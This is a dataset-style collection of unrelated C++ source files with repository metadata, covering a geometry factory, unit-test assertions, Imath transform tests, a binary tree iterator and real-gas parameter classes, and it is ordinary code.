61eb2000b7807c004937dafc867ad85a677c76da | a1b7f3cdb35ca6d051a1d1e4e83296687580f4a0 | /Plugins/Gravitas/Geometry/CoreGeometry/BoxFactory.cpp | b7439292d78ba205860fd9694229d88c50ce12c4 | [] | no_license | keithbugeja/meson | ca1afc32d170bc16a712387f797d202322896267 | fe81e1d74d35d37609b22b692366efc95fbfc61d | refs/heads/master | 2021-03-27T19:51:13.811968 | 2012-10-01T21:57:23 | 2012-10-01T21:57:23 | 87,206,597 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 778 | cpp | #include "BoxFactory.h"
#include "Box.h"
#include "GrvGravitasEngine.h"
using namespace Meson::Common;
using namespace Meson::Gravitas;
using namespace Meson::Gravitas::Geometry;
BoxFactory::BoxFactory(void)
: m_strName("Box")
{
}
BoxFactory:: ~BoxFactory(void)
{
}
const String& BoxFactory::GetName(void)
{
return m_strName;
}
GeometryPtr BoxFactory::CreateGeometry(void)
{
Box* pBox = new Box();
GravitasEngine::GetInstance()->Logger().Out << "Box geometry created.\n";
return GeometryPtr(pBox);
}
GeometryPtr BoxFactory::CreateGeometry(const String& p_strId)
{
Box* pBox = new Box(p_strId);
GravitasEngine::GetInstance()->Logger().Out
<< "Box geometry created with ID '" + p_strId + "'.\n";
return GeometryPtr(pBox);
}
| [
"keithbugeja@users.noreply.github.com"
] | keithbugeja@users.noreply.github.com |
2b868c76e26a88b928daff85854eb31fed16db6e | 2a844b5b3b0bc81780c924c2974cb43bbd010771 | /cpunit/src/cpunit_Assert.cpp | 0326c3a1cc1179c75f37681f896563480cb93954 | [] | no_license | JioCloudCompute/jcs_cpp_sdk | 197eb283a3b96f9ee96f6a85ccaee331d175a296 | 8e13b75f591937dce520d137cd01f5b89d44e26c | refs/heads/master | 2021-01-18T17:08:00.017452 | 2016-12-19T06:05:43 | 2016-12-19T06:05:43 | 61,691,865 | 0 | 2 | null | 2016-12-19T06:05:43 | 2016-06-22T05:38:31 | C++ | UTF-8 | C++ | false | false | 7,922 | cpp | /*
Copyright (c) 2011 Daniel Bakkelund.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holders nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "cpunit_Assert.hpp"
#include <sstream>
/**
Causes an AssertionException to be thrown.
@param msg The error message to display.
@throw AssertionException allways.
*/
void cpunit::fail(const std::string &msg){
std::ostringstream oss;
oss<<"FAIL CALLED - "<<msg;
throw AssertionException(oss.str());
}
/**
Causes an AssertionException to be thrown.
@throw AssertionException allways.
*/
void cpunit::fail(){
fail("");
}
/**
Checks that a statement is <tt>true</tt>.
@param msg A text to be displayed together with the error message if the assertion fails.
@param statement The statement to check for truthfulness.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_true(const std::string &msg, const bool statement) {
if (!statement) {
std::ostringstream oss;
oss<<"ASSERT TRUE FAILED - "<<msg;
throw AssertionException(oss.str());
}
}
/**
Checks that a statement is <tt>true</tt>.
@param statement The statement to check for truthfulness.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_true(const bool statement) {
assert_true("", statement);
}
/**
Checks that a statement is <tt>false</tt>.
@param msg A text to be displayed together with the error message if the assertion fails.
@param statement The statement to check for falseness.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_false(const std::string &msg, const bool statement) {
if (statement) {
std::ostringstream oss;
oss<<"ASSERT FALSE FAILED - "<<msg;
throw AssertionException(oss.str());
}
}
/**
Checks that a statement is <tt>false</tt>.
@param statement The statement to check for falseness.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_false(const bool statement) {
assert_false("", statement);
}
/**
Check that two floating point numbers are sufficiently closed to be reckoned as equal.
The expected and actual values are considered equal if abs(expected - actual) <= error.
@param msg A text to be displayed together with the error message if the comparison fails.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@param error The maximal allowed difference between 'expected' and 'actual'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const std::string &msg, const double expected, const double actual, const double error) {
if (priv::abs(expected - actual) > error) {
priv::fail_equals(msg, expected, actual);
}
}
/**
Check that two floating point numbers are sufficiently closed to be reckoned as equal.
The expected and actual values are considered equal if abs(expected - actual) <= error.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@param error The maximal allowed difference between 'expected' and 'actual'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const double expected, const double actual, const double error) {
assert_equals("", expected, actual, error);
}
/**
Check that two C-strings are equal, using the == operator of std::string.
@param msg A text to be displayed together with the error message if the comparison fails.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const std::string &msg, const char *expected, const char *actual) {
assert_equals(msg, std::string(expected), std::string(actual));
}
/**
Check that two C-strings are equal, using the == operator of std::string.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const char *expected, const char *actual) {
assert_equals("", expected, actual);
}
/**
Check that two strings are equal, using the == operator of std::string.
@param msg A text to be displayed together with the error message if the comparison fails.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const std::string &msg, const std::string &expected, const std::string &actual) {
if (!(expected == actual)) {
priv::fail_equals(msg, expected, actual);
}
}
/**
Check that two strings are equal, using the == operator of std::string.
@param expected The expected value.
@param actual The actual value to test against the facit 'expected'.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_equals(const std::string &expected, const std::string &actual) {
if (!(expected == actual)) {
priv::fail_equals("", expected, actual);
}
}
/**
Checks that a pointer is not <tt>NULL</tt>.
@param msg A text to be displayed together with the error message if the test fails.
@param data The pointer to test.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_not_null(const std::string &msg, const void *data) {
if (data == NULL) {
std::ostringstream oss;
oss<<"ASSERT NOT NULL FAILED - "<<msg;
throw AssertionException(oss.str());
}
}
/**
Checks that a pointer is not <tt>NULL</tt>.
@param data The pointer to test.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_not_null(const void *data) {
assert_not_null("", data);
}
/**
Checks that a pointer is <tt>NULL</tt>.
@param msg A text to be displayed together with the error message if the test fails.
@param data The pointer to test.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_null(const std::string &msg, const void *data) {
if (data != NULL) {
std::ostringstream oss;
oss<<"ASSERT NULL FAILED - "<<msg;
throw AssertionException(oss.str());
}
}
/**
Checks that a pointer is <tt>NULL</tt>.
@param data The pointer to test.
@throw AssertionException if the assert fails.
*/
void cpunit::assert_null(const void *data) {
assert_null("", data);
}
| [
"devender.mishra@ril.com"
] | devender.mishra@ril.com |
ff4bc52037c8927a76acb1648edf99d7972cbf3f | 8f50c262f89d3dc4f15f2f67eb76e686b8f808f5 | /ForwardDetectors/ZDC/ZdcCnv/ZdcEventTPCnv/test/ZdcDigitsCnv_p1_test.cxx | f783bd21f08e82a244502fb82ea4272d9749c192 | [
"Apache-2.0"
] | permissive | strigazi/athena | 2d099e6aab4a94ab8b636ae681736da4e13ac5c9 | 354f92551294f7be678aebcd7b9d67d2c4448176 | refs/heads/master | 2022-12-09T02:05:30.632208 | 2020-09-03T14:03:18 | 2020-09-03T14:03:18 | 292,587,480 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,466 | cxx | /*
Copyright (C) 2002-2017 CERN for the benefit of the ATLAS collaboration
*/
// $Id$
/**
* @file ZdcEventTPCnv/test/ZdcDigitsCnv_p1_test.cxx
* @author scott snyder <snyder@bnl.gov>
* @date Mar, 2016
* @brief Tests for ZdcDigitsCnv_p1.
*/
#undef NDEBUG
#include "ZdcEventTPCnv/ZdcDigitsCnv_p1.h"
#include "TestTools/leakcheck.h"
#include <cassert>
#include <iostream>
void compare (const ZdcDigits& p1,
const ZdcDigits& p2)
{
assert (p1.identify() == p2.identify());
assert (p1.get_digits_gain0_delay0() == p2.get_digits_gain0_delay0());
assert (p1.get_digits_gain0_delay1() == p2.get_digits_gain0_delay1());
assert (p1.get_digits_gain1_delay0() == p2.get_digits_gain1_delay0());
assert (p1.get_digits_gain1_delay1() == p2.get_digits_gain1_delay1());
}
void testit (const ZdcDigits& trans1)
{
MsgStream log (0, "test");
ZdcDigitsCnv_p1 cnv;
ZdcDigits_p1 pers;
cnv.transToPers (&trans1, &pers, log);
ZdcDigits trans2;
cnv.persToTrans (&pers, &trans2, log);
compare (trans1, trans2);
}
void test1()
{
std::cout << "test1\n";
Athena_test::Leakcheck check;
ZdcDigits trans1 (Identifier (1234));
trans1.set_digits_gain0_delay0 (std::vector<int> {1});
trans1.set_digits_gain0_delay1 (std::vector<int> {2, 3});
trans1.set_digits_gain1_delay0 (std::vector<int> {4, 5, 6});
trans1.set_digits_gain1_delay1 (std::vector<int> {7, 8, 9, 10});
testit (trans1);
}
int main()
{
test1();
return 0;
}
| [
"graemes.cern@gmail.com"
] | graemes.cern@gmail.com |
07ee38af38b98438bf6726e2c794f757dde24d37 | 79b10d9f827c489d7964bf024acb834265cbf249 | /snippets/opencv-range.cpp | 28ca2320ee5748c2e9da01c6c1f08c7c3fa6fb1d | [
"MIT"
] | permissive | lshappylife/snippet-manager | d9b2428f14f10b4ee7c78893dce1b2dd227eca88 | bebe45a601368947168e3ee6e6ab8c1fc2ee2055 | refs/heads/master | 2021-05-20T13:59:57.336622 | 2019-01-17T06:01:41 | 2019-01-17T06:02:01 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 440 | cpp | class CV_EXPORTS Range
{
public:
Range();
Range(int _start, int _end);
Range(const CvSlice& slice);
int size() const;
bool empty() const;
static Range all();
operator CvSlice() const;
int start, end;
};
void my_function(..., const Range& r, ....)
{
if(r == Range::all()) {
// process all the data
}
else {
// process [r.start, r.end)
}
}
| [
"tang.zhi.xiong@qq.com"
] | tang.zhi.xiong@qq.com |
49ef70aeae4e173cb15edfbe45dd16a22b60eff4 | 80c6b19e4d1e40c6b5eacdcac5c573f70c97ecf7 | /src/tests/anim/transform.cpp | 4ae24b45f7b405d88507ded2a388d98392c43938 | [
"MIT"
] | permissive | UMassITS/possumwood | 67c569292e9730a052e773029fa2e8c37484e5c9 | 31d2f21090a7ad8fdb47d8c7849bd687fa5381ec | refs/heads/master | 2022-12-27T05:39:33.374827 | 2020-10-04T22:38:13 | 2020-10-04T22:38:13 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,450 | cpp | #include <ImathEuler.h>
#include <anim/datatypes/transform.h>
#include <boost/test/unit_test.hpp>
#include <cmath>
#include <cstdlib>
using std::cout;
using std::endl;
float compareMatrices(const Imath::M44f& m1, const Imath::M44f& m2) {
// cout << m1 << endl << m2 << endl << endl;
float result = 0.0f;
for(unsigned a = 0; a < 4; ++a)
for(unsigned b = 0; b < 4; ++b)
result += std::fabs(m1[a][b] - m2[a][b]);
return result;
}
float compareMatrices(const Imath::M33f& m1, const Imath::M33f& m2) {
// cout << m1 << endl << m2 << endl << endl;
float result = 0.0f;
for(unsigned a = 0; a < 3; ++a)
for(unsigned b = 0; b < 3; ++b)
result += std::fabs(m1[a][b] - m2[a][b]);
return result;
}
float compareTransforms(const anim::Transform& m1, const anim::Transform& m2) {
// cout << m1 << endl << m2 << endl << endl;
// antipodality - two possible solutions to matrix-to-quat transformation - make sure we handle both
float antipod1 = 0.0f, antipod2 = 0.0f;
for(unsigned a = 0; a < 4; ++a) {
antipod1 += std::fabs(m1.rotation[a] - m2.rotation[a]);
antipod2 += std::fabs(m1.rotation[a] + m2.rotation[a]);
}
float result = std::min(antipod1, antipod2);
for(unsigned a = 0; a < 3; ++a)
result += std::fabs(m1.translation[a] - m2.translation[a]);
return result;
}
namespace {
static const float EPS = 1e-4f;
}
/////////////
// tests mainly the correspondence between the transformation class
// and a 4x4 matrix.
BOOST_AUTO_TEST_CASE(transform_init) {
std::vector<std::pair<anim::Transform, Imath::M44f>> data = {
{anim::Transform(), Imath::M44f(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1)},
{anim::Transform(Imath::V3f(1, 2, 3)), Imath::M44f(1, 0, 0, 1, 0, 1, 0, 2, 0, 0, 1, 3, 0, 0, 0, 1)},
{anim::Transform(Imath::Quatf(-0.326096f, -0.0849528, -0.190674, 0.922001)),
Imath::M44f(-0.772889, 0.633718, -0.0322979, 0, -0.568925, -0.71461, -0.407009, 0, -0.28101, -0.296198,
0.912853, 0, 0, 0, 0, 1)},
{anim::Transform(Imath::Quatf(-0.326096f, -0.0849528, -0.190674, 0.922001), Imath::V3f(3, 4, 5)),
Imath::M44f(-0.772889, 0.633718, -0.0322979, 3, -0.568925, -0.71461, -0.407009, 4, -0.28101, -0.296198,
0.912853, 5, 0, 0, 0, 1)}};
// compare the resulting matrices (transform-to-matrix)
for(auto& i : data)
BOOST_REQUIRE_SMALL(compareMatrices(i.first.toMatrix44(), i.second), EPS);
// and compare the transformation (matrix-to-transform)
for(auto& i : data)
BOOST_REQUIRE_SMALL(compareTransforms(i.first, anim::Transform(i.second)), EPS);
// test inverses
for(auto& i : data) {
// cout << i.first.inverse().toMatrix44() << endl;
// cout << i.second.inverse() << endl << endl;
BOOST_REQUIRE_SMALL(compareTransforms(i.first.inverse(), i.second.inverse()), EPS);
}
// and test that multiplication with inverse always leads to unit
for(auto& i : data) {
BOOST_REQUIRE_SMALL(compareTransforms(i.first.inverse() * i.first, anim::Transform(Imath::Quatf(1, 0, 0, 0))),
EPS);
BOOST_REQUIRE_SMALL(compareTransforms(i.first * i.first.inverse(), anim::Transform(Imath::Quatf(1, 0, 0, 0))),
EPS);
}
///
{
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(0, 0, 1), 0);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(1, 0, 0, 0, 1, 0, 0, 0, 1)), EPS);
}
for(unsigned a = 0; a < 100; ++a) {
float angle = 8.0f * M_PI * (float)rand() / (float)RAND_MAX;
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(1, 0, 0), angle);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(1, 0, 0, 0, cos(angle), sin(angle), 0,
-sin(angle), cos(angle))),
EPS);
}
for(unsigned a = 0; a < 100; ++a) {
float angle = 8.0f * M_PI * (float)rand() / (float)RAND_MAX;
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(0, 1, 0), angle);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(cos(angle), 0, -sin(angle), 0, 1, 0, sin(angle),
0, cos(angle))),
EPS);
}
}
////////////////
namespace {
const Imath::M44f toMatrix44(const std::pair<Imath::Eulerf, Imath::V3f>& data) {
Imath::M44f result = data.first.toMatrix44().transpose();
result[0][3] = data.second[0];
result[1][3] = data.second[1];
result[2][3] = data.second[2];
return result;
}
} // namespace
BOOST_AUTO_TEST_CASE(transform_operations) {
std::vector<std::pair<std::pair<Imath::Eulerf, Imath::V3f>, std::pair<Imath::Eulerf, Imath::V3f>>> data = {
{{Imath::Eulerf(-25, 20, 36), Imath::V3f(0, 0, 0)}, {Imath::Eulerf(89, -93, 63), Imath::V3f(0, 0, 0)}},
{{Imath::Eulerf(-25, 20, 36), Imath::V3f(1, 2, 3)}, {Imath::Eulerf(89, -93, 63), Imath::V3f(0, 0, 0)}},
{{Imath::Eulerf(-25, 20, 36), Imath::V3f(1, 2, 3)}, {Imath::Eulerf(89, -93, 63), Imath::V3f(7, 6, 5)}}};
for(auto& i : data) {
// cout << (anim::Transform(~i.first.first.toQuat(), i.first.second) * anim::Transform(~i.second.first.toQuat(),
// i.second.second)).toMatrix44() << endl; cout << toMatrix44(i.first) * toMatrix44(i.second) << endl;
BOOST_REQUIRE_SMALL(compareMatrices((anim::Transform(i.first.first.toQuat(), i.first.second) *
anim::Transform(i.second.first.toQuat(), i.second.second))
.toMatrix44(),
toMatrix44(i.first) * toMatrix44(i.second)),
EPS);
}
// cout << "-----" << endl;
for(auto& i : data)
BOOST_REQUIRE_SMALL(compareTransforms(anim::Transform(i.first.first.toQuat(), i.first.second) *
anim::Transform(i.second.first.toQuat(), i.second.second),
anim::Transform(toMatrix44(i.first) * toMatrix44(i.second))),
EPS);
for(auto& i : data) {
anim::Transform t(i.first.first.toQuat(), i.first.second);
t *= anim::Transform(i.second.first.toQuat(), i.second.second);
// cout << t.toMatrix44() << endl;
// cout << toMatrix44(i.first) * toMatrix44(i.second) << endl;
BOOST_REQUIRE_SMALL(compareMatrices(t.toMatrix44(), toMatrix44(i.first) * toMatrix44(i.second)), EPS);
}
}
namespace {
anim::Transform randomTransform() {
const float a = (float)rand() / (float)RAND_MAX * 180.0f - 90.0f;
const float b = (float)rand() / (float)RAND_MAX * 180.0f - 90.0f;
const float c = (float)rand() / (float)RAND_MAX * 180.0f - 90.0f;
Imath::Eulerf angle(a, b, c);
const float x = (float)rand() / (float)RAND_MAX * 20.0f - 10.0f;
const float y = (float)rand() / (float)RAND_MAX * 20.0f - 10.0f;
const float z = (float)rand() / (float)RAND_MAX * 20.0f - 10.0f;
Imath::V3f v(x, y, z);
return anim::Transform(angle.toQuat(), v);
}
} // namespace
BOOST_AUTO_TEST_CASE(transform_operations_random) {
for(unsigned a = 0; a < 1000; ++a) {
anim::Transform t1 = randomTransform();
anim::Transform t2 = randomTransform();
BOOST_REQUIRE_SMALL(compareMatrices((t1 * t2).toMatrix44(), t1.toMatrix44() * t2.toMatrix44()), EPS);
}
for(unsigned a = 0; a < 1000; ++a) {
anim::Transform t1 = randomTransform();
anim::Transform t2 = randomTransform();
anim::Transform t3 = randomTransform();
BOOST_REQUIRE_SMALL(
compareMatrices((t1 * t2 * t3).toMatrix44(), t1.toMatrix44() * t2.toMatrix44() * t3.toMatrix44()), EPS);
}
}
BOOST_AUTO_TEST_CASE(transform_operations_1) {
///
{
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(0, 0, 1), 0);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(1, 0, 0, 0, 1, 0, 0, 0, 1)), EPS);
}
for(unsigned a = 0; a < 100; ++a) {
float angle = 8.0f * M_PI * (float)rand() / (float)RAND_MAX;
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(1, 0, 0), angle);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(1, 0, 0, 0, cos(angle), sin(angle), 0,
-sin(angle), cos(angle))),
EPS);
}
for(unsigned a = 0; a < 100; ++a) {
float angle = 8.0f * M_PI * (float)rand() / (float)RAND_MAX;
Imath::Quatf q;
q.setAxisAngle(Imath::V3f(0, 1, 0), angle);
BOOST_REQUIRE_SMALL(compareMatrices(q.toMatrix33(), Imath::M33f(cos(angle), 0, -sin(angle), 0, 1, 0, sin(angle),
0, cos(angle))),
EPS);
}
}
| [
"martin.prazak@gmail.com"
] | martin.prazak@gmail.com |
312166b114004f15321a0f3b1b06308bb1521474 | 84257c31661e43bc54de8ea33128cd4967ecf08f | /ppc_85xx/usr/include/c++/4.2.2/gnu/javax/net/ssl/SRPTrustManager.h | 28f06ffda464749e2097ac41eb5bf475a1f7fc37 | [] | no_license | nateurope/eldk | 9c334a64d1231364980cbd7bd021d269d7058240 | 8895f914d192b83ab204ca9e62b61c3ce30bb212 | refs/heads/master | 2022-11-15T01:29:01.991476 | 2020-07-10T14:31:34 | 2020-07-10T14:31:34 | 278,655,691 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,278 | h | // DO NOT EDIT THIS FILE - it is machine generated -*- c++ -*-
#ifndef __gnu_javax_net_ssl_SRPTrustManager__
#define __gnu_javax_net_ssl_SRPTrustManager__
#pragma interface
#include <java/lang/Object.h>
#include <gcj/array.h>
extern "Java"
{
namespace gnu
{
namespace javax
{
namespace net
{
namespace ssl
{
class SRPTrustManager;
}
}
namespace crypto
{
namespace sasl
{
namespace srp
{
class PasswordFile;
}
}
}
}
}
namespace java
{
namespace math
{
class BigInteger;
}
namespace security
{
class KeyPair;
}
}
}
class gnu::javax::net::ssl::SRPTrustManager : public ::java::lang::Object
{
public:
virtual jboolean contains (::java::lang::String *) = 0;
virtual ::java::security::KeyPair *getKeyPair (::java::lang::String *) = 0;
virtual jbyteArray getSalt (::java::lang::String *) = 0;
virtual ::java::math::BigInteger *getVerifier (::java::lang::String *) = 0;
virtual ::gnu::javax::crypto::sasl::srp::PasswordFile *getPasswordFile () = 0;
static ::java::lang::Class class$;
} __attribute__ ((java_interface));
#endif /* __gnu_javax_net_ssl_SRPTrustManager__ */
| [
"Andre.Mueller@nateurope.com"
] | Andre.Mueller@nateurope.com |
ca9619192f9e0ac9f863929a8826e087a249fab8 | 0eff74b05b60098333ad66cf801bdd93becc9ea4 | /second/download/git/gumtree/git_old_hunk_3662.cpp | b743de3bd131db361ad5cfb97904cb024085c55f | [] | no_license | niuxu18/logTracker-old | 97543445ea7e414ed40bdc681239365d33418975 | f2b060f13a0295387fe02187543db124916eb446 | refs/heads/master | 2021-09-13T21:39:37.686481 | 2017-12-11T03:36:34 | 2017-12-11T03:36:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 455 | cpp | * not want the extra blank line.
*/
if (!use_stdout)
rev.shown_one = 0;
if (shown) {
if (rev.mime_boundary)
printf("\n--%s%s--\n\n\n",
mime_boundary_leader,
rev.mime_boundary);
else
print_signature();
print_bases(&bases);
}
if (!use_stdout)
fclose(stdout);
}
free(list);
free(branch_name);
string_list_clear(&extra_to, 0);
string_list_clear(&extra_cc, 0);
string_list_clear(&extra_hdr, 0);
| [
"993273596@qq.com"
] | 993273596@qq.com |
8503297087aa0057832ca23933a47f1213bf6ded | 1c27b705680f1992b8e99728594d4e42ea8bc9e0 | /Windows MSVC10/Scrapheap Spaceships/OurMap.h | ac32cc2244bf8705fef87f32a48694705518192e | [] | no_license | failheap/Scrapheap-Starships | 9f6e87a441f654af1ee2f373cd20f6f4b5ffdf6a | 168160561c761364c79e3a8cd55a1b4b2bd16ec0 | refs/heads/master | 2020-05-31T05:07:41.611228 | 2014-07-30T07:25:21 | 2014-07-30T07:25:21 | null | 0 | 0 | null | null | null | null | ISO-8859-15 | C++ | false | false | 1,683 | h | //
// OurMap.h
// Scrapheap Starships
//
// Created by Helge Nordgård on 21.03.13.
//
//
#ifndef __Scrapheap_Starships__OurMap__
#define __Scrapheap_Starships__OurMap__
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <vector>
#include <time.h>
#include <sstream>
#include <fstream>
#include <iostream>
#include <allegro5\allegro.h>
#include <allegro5\allegro_primitives.h>
#include <allegro5\allegro_image.h>
#include <allegro5\allegro_native_dialog.h>
#include "types.h"
#include "OurSolid.h"
class OurMap {
public:
/*
Arguments height x width defines the size of the
map in 200x200 pixel blocks
*/
OurMap(int height, int width);
~OurMap();
// Setters and getters for map offset values
float getOffsetX();
float getOffsetY();
void setOffsetX(float offset);
void setOffsetY(float offset);
void draw(); // Draws the map
private:
/*
Initializes textures and feeds the texture vector
with graphics from the texture file
*/
void loadTextures();
/*
Generates random values in map vector for new map.
*/
void generateMap();
/*
Debug function: outputs generated map values in console
window
*/
void mapDebug() {
for (int i = 0; i < map.size(); i++) {
for (int x = 0; x < map[i].size(); x++) {
std::cout <<map[i][x];
}
std::cout <<"\r\n";
}
}
std::vector<OurSolid*> solids; // This vector contains all our solid objects
TwoDimIntegerVector map; // This vector contains all the numbers which represent tiles
float xOffset, yOffset; // Where the camera is at the map
int mapColumns;
int mapSize;
int tileSize;
int mapHeight, mapWidth;
};
#endif /* defined(__Scrapheap_Starships__OurHero__) */ | [
"helge@helges.net"
] | helge@helges.net |
889020d72cf835e5d3b90aa3be7f4f164b0d42c4 | 56a617ccd0a09fa6c1e396c8d3b41da3ceb5f65d | /iterator_binary_tree/src/main.cpp | 78d28040103754e24dbbdcb41133bf5af55b3b04 | [
"MIT"
] | permissive | Thordreck/design-patterns-cpp | fa6c18dde29a705c111446338ef1363ba9800f39 | b7b8ccc76ba26b2f63b80a2022616f266001d85d | refs/heads/master | 2021-01-09T13:44:47.705630 | 2020-04-11T14:22:24 | 2020-04-11T14:22:24 | 242,322,440 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,851 | cpp | #include <vector>
#include <iostream>
template <typename T>
struct BinaryTree;
template <typename T>
struct Node
{
T value {};
Node<T>* left { nullptr };
Node<T>* right { nullptr };
Node<T>* parent { nullptr };
BinaryTree<T>* tree { nullptr };
Node(T value) : value(value) {}
Node(T value, Node<T>* left, Node<T>* right)
: value(value)
, left(left)
, right(right)
{
this->left->tree = tree;
this->right->tree = tree;
this->left->parent = this;
this->right->parent = this;
}
void set_tree(BinaryTree<T>* new_tree)
{
tree = new_tree;
if(left) { left->set_tree(new_tree); }
if(right) { right->set_tree(new_tree); }
}
~Node()
{
if(left) { delete left; }
if(right) { delete right; }
}
};
template <typename T>
struct BinaryTree
{
Node<T>* root { nullptr };
BinaryTree(Node<T>* root)
: root(root)
{
root->set_tree(this);
}
~BinaryTree()
{
if(root) { delete root; }
}
template <typename U>
struct PreOrderIterator
{
Node<U>* current;
PreOrderIterator(Node<U>* current) : current(current) {};
bool operator!=(const PreOrderIterator<U>& other)
{
return current != other.current;
}
PreOrderIterator<U>& operator++()
{
if(current->right)
{
current = current->right;
while(current->left)
{
current = current->left;
}
}
else
{
Node<T>* p = current->parent;
while(p && current == p->right)
{
current = p;
p = p->parent;
}
current = p;
}
return *this;
}
Node<U>& operator*() { return *current; }
}; // PreOrderIterator
using iterator = PreOrderIterator<T>;
iterator begin()
{
Node<T>* n = root;
if(n)
{
while(n->left)
{
n = n->left;
}
}
return iterator { n };
}
iterator end()
{
return iterator { nullptr };
}
};
int main()
{
BinaryTree<std::string> family
{
new Node<std::string>
{
"me",
new Node<std::string>
{
"mother",
new Node<std::string> { "mother's mother" },
new Node<std::string> { "mother's father" }
},
new Node<std::string> { "father" }
}
};
for(auto&& node : family)
{
std::cout << node.value << std::endl;
}
return 0;
}
| [
"paezguerraalvaro@gmail.com"
] | paezguerraalvaro@gmail.com |
0cfbd8cf3150852aa4bada29dd17f9eea1e4c36f | 55d53a03adc74ecf0f9937382ed1565d21696a47 | /src/gas_description_static.cpp | fc5cc313bc6b4c0e78fe371f26cb93545393898a | [] | no_license | ymishut/termdyn__tank_flow | b966b18bd7024226109785a7fe9dde1ab7fbdd71 | 2410fe9e93d835a7ffb400119748c9252a70bd68 | refs/heads/master | 2021-07-04T21:50:31.638241 | 2017-09-27T18:04:28 | 2017-09-27T18:04:28 | 104,201,134 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,309 | cpp | #include "gas_description_static.h"
#include "models_exceptions.h"
//================================
// gasparameters ctor
//================================
real_gas_models::gasparameters::gasparameters(float v, float p, float t,
std::shared_ptr<constgasparameters> cgp)
:vpte_(v, p, t), constparameters_(cgp) {
if (cgp == nullptr)
throw modelExceptions(
"gasparameters_static::gasparameters_static\
gets nullptr to constgasparameters");
}
//================================
// gasparameter ctor
//================================
real_gas_models::gasparameters::gasparameters(real_gas_models::parameters prs,
std::shared_ptr<constgasparameters> cgp)
:vpte_(prs), constparameters_(cgp) {
if (cgp == nullptr)
throw modelExceptions(
"gasparameters_static::gasparameters_static\
gets nullptr to constgasparameters");
}
//================================
// gasparameter operator <<
//================================
std::ostream &real_gas_models::operator<< (std::ostream &outstream,
const gasparameters &gp) {
outstream << "v: " << gp.cgetVolume() << " p: " << gp.cgetPressure()
<< " t: " << gp.cgetTemperature() << "\n";
return outstream;
}
//================================
// gasparameter getters
//================================
float real_gas_models::gasparameters::cgetV_K() const {
return constparameters_->V_K;
}
float real_gas_models::gasparameters::cgetP_K() const {
return constparameters_->P_K;
}
float real_gas_models::gasparameters::cgetT_K() const {
return constparameters_->T_K;
}
float real_gas_models::gasparameters::cgetMolecularMass() const {
return constparameters_->molecularmass;
}
float real_gas_models::gasparameters::cgetAdiabatic() const {
return constparameters_->adiabatic_index;
}
float real_gas_models::gasparameters::cgetCV() const {
return constparameters_->cv;
}
float real_gas_models::gasparameters::cgetBeta() const {
return constparameters_->beta_kr;
}
float real_gas_models::gasparameters::cgetR() const {
return constparameters_->R;
}
float real_gas_models::gasparameters::cgetAcentricFactor() const {
return constparameters_->acentricfactor;
}
float real_gas_models::gasparameters::cgetVolume() const {
return vpte_.volume;
}
